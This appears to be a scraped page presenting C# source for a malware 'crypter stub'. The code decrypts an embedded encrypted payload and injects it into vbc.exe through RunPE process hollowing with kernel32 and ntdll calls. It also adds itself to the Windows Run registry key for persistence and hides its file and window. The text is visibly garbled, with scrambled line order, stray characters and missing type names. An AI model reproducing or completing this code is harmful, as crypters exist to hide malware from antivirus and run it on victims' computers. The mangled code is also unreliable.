#Crypter stub code#

Static extern IntPtr GetProcAddress(IntPtr hModule, string procName) ĭelegate bool ESS(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, bool inherit, int creation, IntPtr env, string curDir, byte sInfo, IntPtr pInfo) ĭelegate bool EXT(IntPtr hThr, uint ctxt) ĭelegate bool TEX(IntPtr t, uint c) //all kernel32ĭelegate uint ION(IntPtr hProc, IntPtr baseAddr) //ntdllĭelegate bool ORY(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead) ĭelegate uint EAD(IntPtr hThread) //kernel32.dllĭelegate IntPtr CEX(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot) ĭelegate bool CTEX(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect) ĭelegate bool MOR(IntPtr hProcess, IntPtr lpBaseAddress, byte lpBuffer, uint nSize, out int lpNumberOfBytesWritten) //kernel32.dllĭelegate bool OP(byte bytes, string surrogateProcess) Internal static extern IntPtr LoadLibraryA( string lpFileName)

#Crypter stub code#

This is the RunPE class (the code we use to inject the bytes to the target process) This is the code to hide the stub from the file explorer.įileInfo Info = new FileInfo(Application.ExecutablePath) Key.SetValue('CryptedFile', Application.ExecutablePath) RegistryKey Key = ('Software\Microsoft\Windows\CurrentVersion\Run', true) This is the code to add the stub to startup. Return DESDecrypter.TransformFinalBlock(input, 0, input.Length) AES = new () īyte temp = new MD5CryptoServiceProvider().ComputeHash(.GetBytes(Pass)) ĪES.Mode = .ECB Public static byte AESDecrypt(byte input, string Pass) If he did, hide the file from the file explorer. and the key the user generated on the builder.įilebytes = AESDecrypt(filebytes, '')

Decrypt the encrypted file bytes using the AES algorithm get the file bytes from managed resources. If the storage method was managed resources,

get the file bytes from native resources. If the storage method was native resources, Declare a variable to store the encrypted file bytes. String vbcPath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), 'vbc.exe') We get the path of vbc.exe, the process we'll be injecting into. Hide declares if the stub should hide itself (the executable). Startup declares if the stub should add itself to startup. Storage declares the storage method we used. Variables that we need to control the execution. This.WindowState = FormWindowState.Minimized This.FormBorderStyle = FormBorderStyle.None This is needed so the form could initialize, be hidden from taskbar We return the resource's byte array, aka the encrypted file bytes. We retrieve the resource as an object and we cast it to a byte array since it'sīyte bytes = (byte)Manager.GetObject('encfile') ResourceManager Manager = new ResourceManager('Encrypted', Assembly.GetExecutingAssembly()) We declare a new resource manager and we want it to manage the 'Encrypted' resource. Returns the resource's byte array aka the encrypted file bytes. Copies the contents of the resource to the byte array We declare a byte array with the size of the resource,

Uint size = SizeofResource(hModule, loc) Loads the resource into a pointer to it. IntPtr loc = FindResource(hModule, 'Encrypted', 'RT_RCDATA') Locates the resource using its name and type. IntPtr hModule = GetModuleHandle(Assembly.GetExecutingAssembly().Location) Get the handle of the resource from the defined file. Static extern uint SizeofResource(IntPtr hModule, IntPtr hResInfo) Static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo) Static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType) Static extern IntPtr GetModuleHandle(string module) Application.SetCompatibleTextRenderingDefault(false)